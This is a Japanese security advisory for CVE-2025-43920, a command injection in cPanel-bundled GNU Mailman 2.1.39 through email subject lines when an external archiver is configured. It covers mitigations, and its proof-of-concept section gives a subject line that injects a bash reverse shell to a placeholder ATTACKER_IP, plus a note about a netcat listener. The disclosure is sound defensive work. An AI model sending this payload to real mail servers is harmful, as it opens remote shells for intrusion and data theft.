CVE-2025-43920: GNU Mailman 2.1.39（cPanel/WHMバンドル）におけるメール件名を介したコマンドインジェクション

発見者: Firudin Davudzada & Musazada Aydan
開示日: 2025年4月
CVE ID: CVE-2025-43920
深刻度: 5.4 中程度 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
攻撃タイプ: リモート
影響を受けるソフトウェア: GNU Mailman 2.1.39（cPanel/WHMにバンドル）

概要

GNU Mailman 2.1.39（cPanelおよびWHMにバンドルされたもの）は、認証されていない攻撃者が任意のOSコマンドを実行できる深刻なコマンドインジェクションの脆弱性を抱えています。この脆弱性は、mm_cfg.py設定ファイルでPUBLIC_EXTERNAL_ARCHIVERまたはPRIVATE_EXTERNAL_ARCHIVERを使用して外部アーカイバが設定され、メールの件名行にシェルのメタ文字が含まれているが適切にサニタイズされていない場合に発生します。これにより、システム全体が危険にさらされ、攻撃者はリバースシェルを確立したり、データを外部に持ち出したり、その他の悪意ある行為を行う可能性があります。

脆弱性の詳細

脆弱性の種類: コマンドインジェクション
ベンダー: GNU Mailman
影響を受けるバージョン: Mailman 2.1.39、それ以前の2.1.xバージョンも影響を受ける可能性あり（回帰テスト待ち）
影響を受けるコンポーネント:
- 外部アーカイバ設定（PUBLIC_EXTERNAL_ARCHIVER、PRIVATE_EXTERNAL_ARCHIVER）
- Mailman/Handlers/（メール件名処理ロジック、CookHeaders.pyなどのファイルを含む可能性あり）
根本原因: 外部アーカイバが設定されている場合、メールの件名行が適切なサニタイズなしにシェルコマンドに渡され、シェルメタ文字（例：;、&、|）が含まれていると任意のコマンドが実行される可能性があります。
ステータス: 公式の修正は未提供。Mailman 2.1.xはサポート終了（EOL）のため、Mailman 3.xへの移行を強く推奨します。

概念実証

この脆弱性を悪用するには、攻撃者はMailman管理のメーリングリストに悪意のある件名行を含むメールを送信します。例：

Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

前提条件:

対象のMailmanリストには、PUBLIC_EXTERNAL_ARCHIVERまたはPRIVATE_EXTERNAL_ARCHIVERを介して外部アーカイバが設定されている必要があります。
攻撃者は対象リストにメールを送信できるメールサーバーまたはクライアントを制御している必要があります。
リバースシェルを受け取るために、ATTACKER_IP:4444上でリスナー（例：netcat）をセットアップする必要があります。

予想される結果: 外部アーカイバコマンドが件名行をサニタイズしない場合、悪意のあるコマンドがサーバー上で実行され、攻撃者のサーバーへのリバースシェルが確立されます。

攻撃ベクトル

主なベクトル: 外部アーカイバが設定されたMailman管理メーリングリストに送信された、シェルメタ文字を含む悪意のあるメール件名行。
悪用シナリオ:
- 永続的なアクセスのためのリバースシェルの確立。
- データの外部持ち出し、設定の変更、マルウェアのインストールなどのコマンド実行。
- 他の脆弱性と連鎖させて攻撃をエスカレート。
悪用の容易さ: 高い。外部アーカイバが設定された公開リストまたは設定が不適切なリストに、あらゆるメール送信者が攻撃可能です。

セキュリティへの影響

コード実行: 高（任意のOSコマンド実行）
権限昇格: 高（Mailmanの実行権限によってはルートアクセスの可能性）
情報漏えい: 高（コマンド出力によりシステムデータが漏洩する可能性）
サービス拒否: 高（悪意のあるコマンドでサーバーをクラッシュまたは過負荷にする可能性）

緩和策

即時対応

外部アーカイバの無効化: mm_cfg.pyでPUBLIC_EXTERNAL_ARCHIVERとPRIVATE_EXTERNAL_ARCHIVERをNoneに設定して外部アーカイバ機能を無効にします。
```
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
```
入力のサニタイズ: 外部アーカイバが必要な場合は、コマンドが件名行をサニタイズしてシェルメタ文字の注入を防ぐようにします。
購読の制限: メーリングリストの購読を信頼できるユーザーのみに制限し、露出を減らします。

長期的な解決策

Mailman 3.xへのアップグレード: 堅牢な入力サニタイズを実装し、積極的にメンテナンスされているMailman 3.xに移行します。
メール処理の無効化: 不要な場合は、Mailmanのメール処理機能を無効にして攻撃ベクトルを排除します。
環境の堅牢化: Mailmanを最小権限でコンテナ化環境で実行し、潜在的なエクスプロイトの影響を制限します。

タイムライン

2025年第1四半期: 許可されたペネトレーションテスト評価中に発見。
2025年第1四半期: GNU MailmanおよびcPanelメンテナーに報告。
2025年4月: MITREによりCVEが割り当てられる。
2025年4月: このリポジトリを介して公開開示。

参考文献

謝辞

Firudin DavudzadaおよびMusazada Aydanは、許可されたペネトレーションテストの一環として本脆弱性を責任を持って開示しました。調整にご協力いただいたMITRE CVEチームに感謝します。

連絡先

メール: [email protected]\

CVE-2025-43920

人気